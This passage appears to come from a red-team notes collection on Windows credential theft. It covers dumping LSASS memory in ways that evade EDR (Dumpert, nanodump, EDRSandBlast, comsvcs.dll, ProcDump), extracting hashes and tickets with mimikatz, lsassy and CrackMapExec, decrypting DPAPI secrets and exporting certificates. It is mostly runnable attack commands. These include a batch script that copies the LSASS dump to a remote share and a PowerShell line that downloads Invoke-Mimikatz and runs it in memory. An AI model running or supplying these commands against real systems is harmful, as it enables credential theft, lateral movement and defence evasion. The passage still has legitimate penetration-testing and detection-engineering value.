| Against an host protected by an `Endpoint Detection and Response (EDR)` solution that implements Windows `API` hooks.                                                                   | <p><code>EDR</code> specific.<br><br><code>nanodump</code> as a <code>Beacon Object File (BOF)</code> through a Cobalt Strike <code>beacon</code><br><br><code>EDRSandBlast</code><br><br><code>HandleKatz</code> (or <code>HandleKatz\_BOF</code>)<br><br>Worth a try but likely increasingly detected:<br><br>Windows built-in <code>Task Manager</code><br><br>Windows built-in <code>comsvcs.dll</code><br><br>Microsoft Sysinternals' <code>ProcDump</code><br><br>Obfuscated <code>Out-Minidump</code> PowerShell script<br><br><code>Dumpert</code><br><br>Attempting the dump under <code>NT AUTHORITY\SYSTEM</code> may also help.</p> |

**Windows built-in Task Manager**

Since `Windows Vista`, the built-in Windows `Task Manager` `GUI` utility can be used to easily dump the `LSASS` process in interactive logon session. To open the task manager while in a `Remote Desktop Protocol (RDP)` session type `taskmgr` in a command prompt or press the `Ctrl + Shift + Esc` keys.

The procedure to dump the `LSASS` process using the task manager is as follow:

```
More Details -> Details -> Right click "lsass.exe" -> Create Dump File
```

**Dumpert**

`Dumpert` is a tool, written in `C`, that uses direct Windows `System Calls` (`ZwProtectVirtualMemory` and `ZwWriteVirtualMemoryto`) to unhook Windows `APIs` in order to dump the `LSASS` process with out being detected by `Anti-Virus` or `Endpoint Detection and Response (EDR)` that rely on Windows user-land `API` hooks.

`Dumpert` can be used either as a standalone executable or as a `DLL`, that can be executed using the Windows built-in `rundll32` utility:

```bash
Dumpert.exe

rundll32.exe Dumpert-DLL.dll,Dump
```

A `Shellcode Reflective DLL Injection (sRDI)` version of the code is also provided, coupled with a `Cobalt Strike` `agressor` script that uses the `Cobalt Strike`'s beacon `shinject` command to inject the `sRDI` shellcode into the current process. Through this execution method, `Dumpert` is executed without the executable file being written to the compromised system disk.

The `sRDI` shellcode is a conversion of the `Dumpert` `DLL` made using the `sRDI` project's `ConvertToShellcode.py` Python script:

```bash
python3 ConvertToShellcode.py Outflank-Dumpert.dll
```

After importing the `Outflank-Dumpert.cna` `agressor` script in `Cobalt Strike` (`Cobalt Strike` -> `Script Manager` -> Load), the `dumpert` command can be used through a `Cobalt Strike` beacon. The command will inject the shellcode into the beacon process, dump `LSASS` into `C:\Windows\Temp\dumpert.dmp` using `Dumpert` (`DLL` version), and finally download the dump file on the C2 server.

```
beacon> dumpert
beacon> rm C:\Windows\Temp\dumpert.dmp
```

**Windows built-in comsvcs.dll**

The Windows built-in DLL `comsvcs.dll` exposes the `MiniDump` function that can be leveraged to dump the `LSASS` process. The `rundll32` Windows built-in utility can be used to load the `comsvcs.dll` `DLL` and run the `MiniDump` function.

Note that the process conducting the dump must have debug privileges (i.e the `SeDebugPrivilege` privilege enabled), which is by default the case of `PowerShell` process run from an elevated context.

```
tasklist /FI "imagename eq lsass.exe"
Get-Process lsass | Ft Id

rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> "<PATH_LSASS_DUMP>" full
powershell -c rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> "<PATH_LSASS_DUMP>" full
```

The following `bat` script automates the process and exfiltrate the `lsass` dump to a remote share:

```
For /F "Tokens=2" %%I in ('tasklist /FI "imagename eq lsass.exe"') Do Set LsassPid=%%I

powershell.exe -c rundll32 C:\windows\system32\comsvcs.dll MiniDump %LsassPid% "C:\Windows\System32\spool\drivers\color\lsass.dmp" full

IF EXIST "C:\Windows\System32\spool\drivers\color\lsass.dmp" (
	dir \\<LHOST>\TMP
	xcopy /Y /i /q "C:\Windows\System32\spool\drivers\color\lsass.dmp" "\\<LHOST>\TMP"
  del "C:\Windows\System32\spool\drivers\color\lsass.dmp"
)
```

**Sysinternals' ProcDump**

`ProcDump` is a command-line utility tool signed by Microsoft and part of the `sysinternals` tools suite.

It can be used to dump the `LSASS` process with out raising antivirus alerts on all Windows operating systems.

```bash
procdump.exe -accepteula -ma lsass.exe <PATH_LSASS_FILE>
rm <PATH_LSASS_FILE>

# Trough a meterpreter session
upload <PATH/procdump.exe> C:
execute -f "C:\procdump.exe" -a '-accepteula -ma lsass.exe <PATH_LSASS_DUMP>'
download <PATH_LSASS_DUMP>
rm <PATH_LSASS_DUMP>
```

**EDRSandBlast**

[`EDRSandBlast`](https://github.com/wavestone-cdt/EDRSandblast/) is a tool written in `C` that weaponize a vulnerable signed driver to bypass `EDR` detections (Kernel callbacks and `ETW TI` provider) and `LSASS` protections. Multiple userland unhooking techniques are also implemented to evade userland monitoring.

```bash
EDRSandblast.exe dump --usermode --unhook-method 5 --kernelmode [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]
```

Refer to the [`EDR bypass with EDRSandBlast`](https://github.com/Qazeer/InfoSec-Notes/blob/master/Windows/Red_TeamEDR_bypass_with_EDRSandBlast.md) note for more information on `EDRSandBlast`.

**nanodump**

[`nanodump`](https://github.com/helpsystems/nanodump) is a lightweight utility that uses direct syscalls (relying on [`SysWhispers2`](https://github.com/jthuraisamy/SysWhispers2)) to dump LSASS memory. The LSASS dump is by default created with an invalid signature (to avoid being detected as a memory dump) and with a reduced size (by ignoring irrelevant `DLLs` from the LSASS memory address space).

`nanodump` can be used either as a standalone executable or a `Beacon Object File (BOF)` through a `Cobalt Strike` `beacon`. if executed as a `BOF`, the LSASS dump is not written to disk and will be uploaded to the `Cobalt Strike` teamserver without touching disk.

A number of techniques are implemented by `nanodump`, with the goal of bypassing `EDR` by playing around detection edge cases that may not be covered by the encountered product:

* Default to opening an handle on the LSASS process with the `PROCESS_QUERY_INFORMATION | PROCESS_VM_READ` access rights.
* Using the `--fork` option, "fork" LSASS to dump the memory of the clone process. This technique helps avoiding access to LSASS memory using a `PROCESS_VM_READ` handle. The fork is done by first opening an handle to LSASS with the `PROCESS_QUERY_INFORMATION | PROCESS_CREATE_PROCESS` access rights, and using the `NtCreateProcess` `API` to fork LSASS.

  ```c
  NTSTATUS status = NtCreateProcess(
      &hCloneProcess,
      GENERIC_ALL,
      &CloneObjectAttributes,
      hLsassProcess,
      TRUE,
      NULL,
      NULL,
      NULL
  );
  ```

  More information on this technique can be found in [BillDemirkapi's Process Forking discovery blogpost](https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/).
* Using the `--dup` option, search for an already opened handle on LSASS that can be reused instead of opening a new handle on LSASS. More information on this technique can be found in [skelsec's Duping AV with handles discovery blogpost](https://skelsec.medium.com/duping-av-with-handles-537ef985eb03).
* Using the `--malseclogon` option, leverage the `MalSeclogon` technique to dump LSASS memory by leaking handle to LSASS through the `Secondary Logon Service`. The technique is based on the fact that the `SeclCreateProcessWithLogonW` `RPC` function, exposed by the `Secondary Logon Service`, can be abused to leak handles that reside in the LSASS process (and which include handles to LSASS itself).

  The `SeclCreateProcessWithLogonW` function has the following prototype:

  ```c
  DWORD SlrCreateProcessWithLogon(
     RPC_BINDING_HANDLE BindingHandle,
     PSECONDARYLOGONINFOW psli,
     LPPROCESS_INFORMATION ProcessInformationOutput)
  ```

  Two particularities of the `SeclCreateProcessWithLogonW` function are exploited:

  * The function spawns a process as a child of the process specified in argument (`psli->dwProcessId`).
  * The handles specified in `psli->lpStartupInfo->hStd*` are duplicated in the new process.

  The `SeclCreateProcessWithLogonW` function can be called through the `CreateProcessWithLogonW` `API` with (indirect) control over the `psli->dwProcessId` (retrieved from a spoofable value in the `TEB` of the calling process) and full control on the `psli->lpStartupInfo->hStd*` handles. It is thus possible to spawn a process that will have handles to LSASS by calling `CreateProcessWithLogonW` and:

  * Patching the PID value in the current process TEB to specify the PID of the LSASS process.
  * Settings the handles in the `lpStartupInfo` from handles from the LSASS process.

  More information on this technique can be found in [Antonio Cocomazzi's MalSecLogon discovery blogpost](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html).

  If used alone the `--malseclogon` option will result in a `nanodump.exe` binary to be written to disk (to use to spawn the new process with `CreateProcessWithLogonW`). The `--malseclogon` and `--dup` can be combined with `--binary <BINARY_PATH>` to spawn an arbitrary process and use the duplicate handle technique on this process to access LSASS handle.
* By loading `nanodump` (`DLL` version) as a `Security Service Provider (SSP)` in LSASS and conducting the memory dump directly from code executed within the LSASS process. More information on this technique can be found in [xpn's Exploring Mimikatz - Part 2 - SSP blogpost](https://blog.xpnsec.com/exploring-mimikatz-part-2/). Following the dump, `nanodump` `DllMain` will return FALSE to make LSASS unload the `DLL`.

```bash
# nanodump compilation.
# On Linux, required for BOF.
make -f Makefile.mingw
# On Windows, with the Microsoft Visual C++ (MSVC) compiler toolset.
nmake -f Makefile.msvc

# nanodump can be used directly from a beacon session, after importation of the NanoDump.cna Aggressor script.
# Cobalt Strike -> Script Manager -> Load / Reload -> NanoDump.cna
beacon > nanodump

# Default technique using an PROCESS_VM_READ handle.
# If executed as a BOF through a beacon session, the dump file will not be written to disk.
# If executed as a standalone binary, the dump fill will be written by default at C:\Windows\Temp\report.docx.
nanodump [--write <OUTPUT_DUMP_FILE>]

# Uses the fork technique to dump LSASS memory.
nanodump --fork

# Uses the duplicate handle technique to dump LSASS memory.
nanodump --dup

# Uses the MalSeclogon technique and then the duplicate handle technique (as the process spawned by the Secondary Logon Service will have an handle opened on LSASS) to dump LSASS memory.
# The <BINARY_PATH> process will be spawned as child of LSASS.
nanodump --malseclogon --dup --binary <BINARY_PATH>

# Loads nanodump DLL as a SSP in LSASS to dump LSASS memory.
# If no DLL is specified, a DLL with a random name will be automatically placed ion the Temp folder.
# By default, the dump will be written to disk with an invalid signature at C:\Windows\Temp\report.docx.
# The dump output path can be changed in the dump_path variable of the NanoDump function in the entry.c file.
beacon> load_ssp [<NANODUMP_DLL_PATH>]

# Following the retrieval of the dump, the dump file signature should be first restored (if --valid was not used to generate the dump file).
bash restore_signature.sh <DUMP_FILE>

# Then mimikatz or pypykatz  can be used to extract the credentials from the dump.
python3 -m pypykatz lsa minidump <DUMP_FILE>
```

**Mimikatz**

`Mimikatz` can be used to extract the credentials (cleartext passwords, `LM` / `NTLM` hashes, `Kerberos` tickets from, etc.) from `LSASS`.

The commands below may be used as a one-liner in the form of `mimikatz.exe "<COMMAND1>" "<COMMAND2>" "exit"`.

`mimikatz` can be instructed to load the specified `LSASS` dump file and to execute the specified commands to extract credentials from the loaded `LSASS` dump in place of the current host `LSASS` process:

```
mimikatz # sekurlsa::minidump <LSASS_FILE>
```

```
# Logs further mimikatz output to the specified file.
mimikatz # log <LOG_FILE>

# If necessary, elevates privileges to "NT AUTHORITY\SYSTEM".
mimikatz # token::elevate

# If necessary, acquires and enables the "SeDebugPrivilege" privilege.
mimikatz # privilege::debug

# Retrieves credentials (cleartext passwords and NTLM hashes) from the msv, tspkg, wdigest, kerberos, ssp and credman providers.
mimikatz # sekurlsa::logonpasswords

# Retrieves the Kerberos tickets, both TGTs and service tickets, from all active sessions.
mimikatz # sekurlsa::tickets

# Dumps credentials on Domain Controllers.
mimikatz # lsadump::lsa /inject
mimikatz # lsadump::lsa /inject /user:<krbtgt | USERNAME>
```

Additionally, the `Invoke-Mimikatz.ps1` `PowerShell` script can be injected into memory to use `mimikatz` on the targeted host with out uploading a `mimikatz` binary on disk. However, as of 2020, this approach is flagged by most `Anti-Virus` solutions.

```
# If the compromised host can not access internet, Invoke-Mimikatz.ps1 should be hosted on a local website on a attacking machine.
(New-Object System.Net.WebClient).Proxy.Credentials =  [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds;
```

**lsassy**

The Python utility and library `lsassy` can be used to remotely dump the `LSASS` processes, and extract credentials, on one or multiple hosts in a distributed manner. `Lsassy` tries to dump the `LSASS` process of the specified hosts, and if successful, parses the `LSASS` dumps directly on the remote hosts.

`lsassy` implements three techniques, explicated above, to dump the `LSASS` process: using the Windows built-in `comsvcs.dll` DLL executed using `rundll32.exe`, by uploading and executing `sysinternals`' `procdump.exe`, and ultimately by uploading and executing `dumpert.exe`.

The `pypykatz` Python script, which is an implementation of some functionalities of `Mimikatz` in pure Python, is used to extract the credentials from the `LSASS` dump.

Standalone binaries of `lsassy` for Linux / Windows are available on the following [`OffensivePythonPipeline` GitHub repository](https://github.com/Qazeer/OffensivePythonPipeline).

```bash
# As a standalone CLI utility
# TARGETS = IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets
lsassy [-d <DOMAIN>>] -u <USERNAME> -p <PASSWORD> --format pretty <TARGETS>
lsassy [-d <DOMAIN>] -u <USERNAME> -H <NTLM_HASH> --format pretty <TARGETS>

# Dumps using EDRSandBlast.
lsassy [-d <DOMAIN>>] -u <USERNAME> [-p <PASSWORD> | -H <NTLM_HASH>] -m edrsandblast --options edrsandblast_path=<EDRSandblast.exe_PATH>,RTCore64_path=<RTCore64.sys_PATH>,ntoskrnl_path=<NtoskrnlOffsets.csv_PATH> <TARGETS>

# As a Python library
from lsassy.core import Lsassy

lsassy = Lsassy(hostname="<HOSTNAME | IP>", username="<USERNAME>", domain="<DOMAIN>", password="<PASSWORD>")
credentials = lsassy.get_credentials()
for credential in credentials:
    [...]
```

Additionally, `lsassy` can be used as a `CrackMapExec` module (installation and usage detailed below).

**PowerSploit's Out-Minidump**

The `Out-Minidump.pS1` PowerShell script, part of `PowerSploit` suite, uses the `MiniDumpWriteDump` API, retrieved from `System.Management.Automation.WindowsErrorReporting`, to create a minidump of the specified process.

Obfuscated versions of `Out-Minidump.pS1` may held good result against security products (antivirus and `EDR` solutions).

```
# Import-Module .\Out-Minidump.ps1

# Dumps lsass, or the process specified by <PROCESS_NAME>, memory in the current (or given) folder.
Get-Process <lsass | PROCESS_NAME> | Out-Minidump [-DumpFilePath <FOLDER>]
Out-Minidump -Process (Get-Process -Id <PID>)
```

**CrackMapExec**

The Python `CrackMapExec` tool offers two modules to dump and extract credentials from the `LSASS` process of remote host(s):

* `mimikatz`, which uses the `Invoke-Mimikatz.ps1` `PowerShell` script. `CrackMapExec` will temporally host the script using a Python web server and instruct the remote host(s) to download and inject in memory the script in order to execute `Invoke-Mimikatz -DumpCreds` with out creating a file on disk.
* `lsassy` which leverages the `lsassy` Python library.

Note that as `Invoke-Mimikatz.ps1` is being more and more detected by antivirus solutions, it is recommended to make use of the `lsassy` module.

Standalone binaries of `CrackMapExec` for Linux / Windows are available on the following [`OffensivePythonPipeline` GitHub repository](https://github.com/Qazeer/OffensivePythonPipeline).

```bash
# It is recommended to use the released crackmapexec binaries from GitHub (a GitHub account being required to download the files): https://github.com/byt3bl33d3r/CrackMapExec/actions

# lsassy module
crackmapexec smb <TARGETS> -M lsassy (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)

# Mimikatz module
crackmapexec smb <TARGETS> -M mimikatz (-d <DOMAIN> | --local-auth) -u <USERNAME> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
```

**Metasploit / meterpreter**

The `meterpreter` extensions `mimikatz` and `kiwi` can be used to dump credentials through a `meterpreter` session without the need to write any file to the compromised host's disks. The `kiwi` extension replace the previous `mimikatz` extension with a much simpler interface command system and works on `Windows XP SP3` and `Windows 2003 SP1` all the way up to `Windows 10` and `Windows 2019`.

On `x64` host, make sure that the `meterpreter` session is running as a 64 bits process (using `sysinfo`), otherwise the `meterpreter` will attempt to load a 32 bits version of `Mimikatz` into memory, which will cause most features to be non-functional.

```
meterpreter> load kiwi
meterpreter> creds_all
meterpreter> lsa_dump_sam
meterpreter> lsa_dump_secrets
meterpreter> creds_kerberos / creds_msv / creds_ssp / creds_tspkg / creds_wdigest

# Older version
meterpreter> load mimikatz

meterpreter> mimikatz_command -f samdump::hashes
meterpreter> mimikatz_command -f sekurlsa::logonpasswords
meterpreter> kerberos / livessp / msv / ssp / tspkg / wdigest
```

**Cobalt Strike**

The `Cobalt Strike` `beacon` built-in function `[beacon] -> Access -> Run Mimikatz` will execute `mimikatz` `sekurlsa::logonpasswords` through a `beacon`.

The function output will be automatically parsed and the harvested credentials added to the `Cobalt Strike` credentials database: `View -> Credentials`.

### DPAPI - Generic and third parties credentials

Windows exposes cryptographic functions through the `Data Protection Application Programming Interface (DPAPI)` API to allow third parties programs to locally store encrypted secrets. `DPAPI` notably provides the `CryptProtectData` and `CryptUnprotectData` functions to, respectively, encrypt and decrypt data. Leveraging the `DPAPI`, softwares can thus rely on the operating system to manage the cryptographic keys and to implement the cryptographic algorithms. Among others, the `Google Chrome` and `Internet Explorer` / `Edge` web browsers as well as the Windows `Remote Desktop Protocol (RDP)` utility and the `Wireless Local Area Network (WLANSVC)` service save credentials using the `DPAPI`.

Secrets originating from Microsoft products are generally stored by the `Credential Manager` in:

* `Credentials` files, located in `%SYSTEMDRIVE%\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\ <GUID>`.
* `Windows Vaults`, such as the `Windows Credentials` vault (independent from `Credentials` files). `Vaults` are stored as a combination of `vpol` and `vsch` files in `%SYSTEMDRIVE%\Users\<USERNAME>\AppData\Local\Microsoft \Vault\<GUID>`.

`Google Chrome` saves by default credentials and secrets, such as cookies, in:

* the `Login Data` `SQLitev3` database, located in `%SYSTEMDRIVE%\Users\<USERNAME>\AppData\Local\Google\Chrome\User Data\ Default\Login Data`.
* the `Cookies` file, located in `%SYSTEMDRIVE%\Users\<USERNAME>\AppData\Local\Google\Chrome\User Data\ Default\Cookies`.

The aforementioned files are only accessible to the specific user (owner of the files), the local `Administrators` group, and the Windows `NT AUTHORITY\SYSTEM` built-in account.

```
# Lists the Credentials files for each user, given the current security context.
Get-ChildItem -Force -Recurse -Path "C:\Users\*\AppData\Roaming\Microsoft\Credentials"

# Lists the Google Chrome credentials and cookies files, given the current security context.
Get-ChildItem -Force -Recurse -Path "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Login Data"
Get-ChildItem -Force -Recurse -Path "C:\Users\*\AppData\Local\Google\Chrome\User Data\Default\Cookies"

# Lists the configured Windows Vaults and information about the vaults's stored credentials (notably username, originating application, target).
# Current user Windows Vault.
vaultcmd /list
# Lists the Windows Vault of each user, given the current security context.
Get-ChildItem -Force -Path "C:\Users\*\AppData\Local\Microsoft\Vault\*"

# Lists information about the specified Windows Vault.
# Default Windows Vaults: Windows Credentials (GUID: 77BC582B-F0A6-4E15-4E80-61736B6F3B29) and Web Credentials (GUID: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28).
vaultcmd /listcreds:"<VAULT_NAME | VAULT_GUID>" /all

# Lists the configured WiFi profiles, indicating if a security key is included
netsh wlan show profiles
```

Credentials are ultimately stored as `CredentialBlob`, encrypted using a `DPAPI` `MasterKey`. The `DPAPI` `MasterKeys` are stored as files, located in `%SYSTEMDRIVE%\Users\<USERNAME>\AppData\Roaming\Microsoft\Protect\<USER_SID>\<GUID>`.

The `DPAPI` `MasterKeys` are protected:

* for domain users, using a combination of the user's `SID` and (current or previous) `NTLM` hash. A copy of the `MasterKey` is also protected using the `DPAPI` `Domain Backup Key`.
* for local users, using a combination of the user's `SID` and (current or previous) `SHA1` hash.
* for the `DPAPI machine key`, stored in `Local Security Authority (LSA)` secrets (encrypted using a key in `HKLM/Security/Policy/PolEKList`).

Those properties imply that:

* All domain users `DPAPI` `MasterKeys` can be retrieved, and stored credentials decrypted, if the `DPAPI` `Domain Backup Key` is compromised.
* The `NTLM` hashes of local users can not be used to decrypt `DPAPI` `MasterKeys` as the plaintext password is required to compute the user password `SHA1` hash.

```
# Lists the DPAPI MasterKeys files for each user, given the current security context.
Get-ChildItem -Force -Recurse -Path "C:\Users\*\AppData\Roaming\Microsoft\Protect\S-*"
```

`mimikatz` implements various `DPAPI` modules to decrypt `DAPI` `CredentialBlob` and operationally parse the resulting data in order to extract the saved credentials:

* `dpapi::blob`: raw `CredentialBlob` with out parsing of the resulting data
* `dpapi::capi` / `dpapi::cng`: Windows `Cryptographic API (CAPI)` / `Cryptography API: Next Generation (CNG)` containing the users' certificates public and private keys. `CNG` is the replacement of `CAPI`, starting from the Windows Server 2008 and Windows Vista operating system.
* `dpapi::cred`: Windows `Credentials` files.
* `dpapi::vault`: Windows `Vaults` directories.
* `dpapi::wifi`: `WiFi` password saved by the `WLANSVC` service.
* `dpapi::wwan`: mobile cellular network passwords for embedded module adapter saved by the `WWANSVC` service.
* `dpapi::chrome`: credentials and cookies saved by `Google Chrome`.
* `dpapi::rdg`: `RDP` files generated by the `Remote Desktop Connection Manager (RDCman)` whenever saving `RDP` credentials.

Depending on the attack scenario and satisfied prerequisite(s), `DAPI` `CredentialBlob` can be decrypted using `mimikatz` in a number of ways:

| Prerequisite(s)                                                                                            | Description                                                                                                                                                                                                                                                                                                                                                                                                                            | Process                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
| ---------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Running under the specific user security context (whom may not be privileged).                             | Leverages the `DPAPI` `CryptUnprotectData` function, implicitly using the specific user `MasterKeys`, to decrypt the specified `DPAPI` blob.                                                                                                                                                                                                                                                                                           | <p>Decryption of the specified blob, with the according <code>mimikatz</code> module:<br><code>mimikatz.exe "dpapi::\<MODULE> /in:\<BLOB\_PATH> /unprotect" exit</code><br><br>To simply retrieve a given <code>masterkey</code>, a <code>MS-BKRP</code> request to a Domain Controller can be used:<br><code>mimikatz.exe "dpapi::masterkey /in:\<MASTER\_KEY\_PATH> /rpc" exit</code></p>                                                                                                                                                                                                                                                                                                                                                                                                                                |
| Privileged access (`SeDebugPrivilege` privilege) on the system while the specific user is logged in.       | Extracts the cached `DPAPI` `MasterKeys` from memory to decrypt the specified `DPAPI` blob.                                                                                                                                                                                                                                                                                                                                            | <p>Identification of the required <code>MasterKey</code> (<code>guidMasterKey</code>):<br><code>mimikatz# dpapi::\<MODULE> /in:\<BLOB\_PATH></code><br><br>Extraction of all users <code>MasterKeys</code> in memory:<br><code>mimikatz# privilege::debug</code><br><code>mimikatz# sekurlsa::dpapi</code><br><br>Decryption of the specified blob, with the according <code>mimikatz</code> module, using the required <code>MasterKey</code>:<br><code>mimikatz# token::elevate</code><br><code>mimikatz# dpapi::\<MODULE> /in:\<BLOB\_PATH> /masterkey:\<MASTER\_KEY></code></p>                                                                                                                                                                                                                                        |
| Privileged access on the system and knowledge of the specific user **plaintext password**.                 | Uses the user's plaintext password to decrypt the `MasterKey` in order to decrypt the specified `DPAPI` blob.                                                                                                                                                                                                                                                                                                                          | <p>Identification of the required <code>MasterKey</code> (<code>guidMasterKey</code>):<br><code>mimikatz# dpapi::\<MODULE> /in:\<BLOB\_PATH></code><br><br>Decryption of the required <code>MasterKey</code> using the user plaintext password:<br><code>mimikatz.exe "privilege::debug" "token::elevate" "dpapi::masterkey /in:\<MASTER\_KEY\_PATH> /sid:\<USER\_SID> /password:\<USER\_PASSWORD> /protected" exit</code><br><br>Decryption of the specified blob, with the according <code>mimikatz</code> module, using the required <code>MasterKey</code>:<br><code>mimikatz# token::elevate</code><br><code>mimikatz# dpapi::\<MODULE> /in:\<BLOB\_PATH> /masterkey:\<MASTER\_KEY></code></p>                                                                                                                        |
| Knowledge of the specific user **plaintext password**.                                                     | Uses the user's plaintext password to start a process under the specific user security context in order to leverage the `DPAPI` `CryptUnprotectData` function to decrypt the specified `DPAPI` blob.                                                                                                                                                                                                                                   | <p>Refer to the <code>Windows - Lateral movement</code> note for TTP to locally or remotely start a process using the user's plaintext password.<br>Running under the specific user security context, the first method can then be used.</p>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| Knowledge of the specific **domain** user **`NTLM` hash** and a network connection to a Domain Controller. | Uses the user's `NTLM` hash to replace the `Logon Session` in a process's `Access Token`, in order to access resources over the network using the provided user identity. Then leverages the `Microsoft BackupKey Remote Protocol (MS-BKRP)` `MSRPC` interface of a Domain Controller to request the decryption of the required `DPAPI` `MasterKey` (by design functionality, needed for password renewal and support of smart cards). | <p>Identification of the required <code>MasterKey</code> (<code>guidMasterKey</code>):<br><code>mimikatz# dpapi::\<MODULE> /in:\<BLOB\_PATH></code><br><br>Refer to the <code>Windows - Lateral movement</code> note for TTP to locally or remotely start a process using the user's <code>NTLM</code> hash. Under the newly created process, decryption of the required <code>MasterKey</code> through a <code>MS-BKRP</code> request to a Domain Controller:<br><code>mimikatz.exe "dpapi::masterkey /in:\<MASTER\_KEY\_PATH> /rpc" exit</code><br><br>Decryption of the specified blob, with the according <code>mimikatz</code> module, using the required <code>MasterKey</code>:<br><code>mimikatz# token::elevate</code><br><code>mimikatz# dpapi::\<MODULE> /in:\<BLOB\_PATH> /masterkey:\<MASTER\_KEY></code></p> |
| Knowledge of the `DPAPI` `Domain Backup Key`.                                                              | Uses the `DPAPI` `Domain Backup Key` to decrypt the `DPAPI` `MasterKeys` of domain users in order to decrypt the specified `DPAPI` blob.                                                                                                                                                                                                                                                                                               | <p>Identification of the required <code>MasterKey</code> (<code>guidMasterKey</code>):<br><code>mimikatz# dpapi::\<MODULE> /in:\<BLOB\_PATH></code><br><br>Decryption of the required <code>MasterKey</code> using the <code>DPAPI</code> <code>Domain Backup Key</code>:<br><code>mimikatz.exe "privilege::debug" "token::elevate" "dpapi::masterkey /in:\<MASTER\_KEY\_PATH> /pvk:\<BACKUP\_KEY\_PRIVATE\_KEY\_FILE>" exit</code><br><br>Decryption of the specified blob, with the according <code>mimikatz</code> module, using the required <code>MasterKey</code>:<br><code>mimikatz# token::elevate</code><br><code>mimikatz# dpapi::\<MODULE> /in:\<BLOB\_PATH> /masterkey:\<MASTER\_KEY></code></p>                                                                                                               |

**Certificates retrieval**

Certificates installed on the local system can be retrieved either through the Windows `Crypto APIs` or directly by decrypting the certificate files on disk (encrypted using `DPAPI`).

*Certificate export using Windows Crypto APIs*

The `Microsoft CryptoAPI (CAPI)` or the more recent `Cryptography API: Next Generation (CNG)` Windows `APIs` interact with the certificate store and can be used to export locally installed certificates.

Certificates with exportable private key can simply be retrieved as password protected `.pfx` files through an interactive session using the `certmgr.msc` (for user certificates) or `certlm.msc` (for machine certificates) snap-ins. The snap-ins can be loaded using the `Microsoft Management Console (MMC)` built-in utility:

```
mmc.exe -> Add/Remove Snap-in (Ctrl + M) -> Selection of one or multiple chosen snap-in -> Certificates
  -> My User account / Computer Account
    -> Certificates -> Select the certificate store (such as Personal)
      -> Right click the certificate to export -> All Tasks -> Export...
        -> Check "Yes, export the private key"
```

The `Export-PfxCertificate` PowerShell cmdlet or the [`CertStealer` C# utility](https://github.com/TheWover/CertStealer) may be used as well:

```
# Built-in PowerShell cmdlets.
# The certificate store can be either the local machine store or the current user store.
$certiticate_store = "CurrentUser\My\"
$certiticate_store = "LocalMachine\My\"

# Enumerates the certificates in the specified certificate store.
Get-ChildItem -Recurse Cert:\$certiticate_store | Format-List Thumbprint,Issuer,Subject,EnhancedKeyUsageList,HasPrivateKey,NotBefore,NotAfter

# Exports the specified certificate as a password protected pfx file.
$sstring = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
Export-PfxCertificate -Cert Cert:\$certiticate_store\<CERTIFICATE_THUMBPRINT> -FilePath <OUT_PFX_FILE> -Password $sstring

# Exports all the certificates in the specified store in a single output file. In order for the exports to work, all certficates must be exportable.
$sstring = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
Get-ChildItem -Path Cert:\$certiticate_store | Export-PfxCertificate -FilePath <OUT_PFX_FILE> -Password $sstring

# CertStealer C# utility.
# Enumerates all the certificates for the various local certificate stores.
CertStealer.exe --list

# Enumerates the certificates in the specified certificate store for either the current user or the local machine.
CertStealer.exe --name <user | local> --store <My | CA | <STORE_NAME>> --list

# Export the specified certificate.
CertStealer.exe --password <PASSWORD> --export [pfx] <CERTIFICATE_THUMBPRINT>
```

If a certificate private key is not exportable, the `CAPI` and `CNG` `Crypto APIs` can be patched using `mimikatz` to allow exportation of the certificate. While the `CAPI` `API` can be patched in the current process address space, patching the `CNG` `API` requires to access the `LSASS`'s process memory (which requires elevated privileges and may be flagged as malicious behavior).

```
# Patches the CAPI API (current process address space).
mimikatz# crypto::capi

# Patches the CNG API (LSASS process address space).
mimikatz# crypto::cng

# Exports the local certificates in the specified certificate store for either the current user or the local machine.
mimikatz#  crypto::certificates /systemstore:<current_user | local_machine> [/store:my] /export
```

*Certificate direct retrieval via DPAPI*

Certificates of the different certificate stores are stored as `Binary Large Object (BLOB)`, either as files on disk or entries in the registry. The users certificates are indeed stored as files and in the registry (`HKEY_USERS` / `HKEY_CURRENT_USER` hive) depending on the store, while the local machine certificates are only stored in the registry (`HKEY_LOCAL_MACHINE` hive).

The certificates information is stored under the following notable locations:

| Perimeter | Type       | Path                                                                                                                                                                                            | Description                                                                                                                                                                                                               |
| --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| User      | Registry   | <p><code>HKEY\_CURRENT\_USER\Software\Microsoft\SystemCertificates</code><br><br><code>HKEY\_USERS\&#x3C;USER\_SID>\Software\Microsoft\SystemCertificates</code></p>                            | Contains multiple stores for the current / given user.                                                                                                                                                                    |
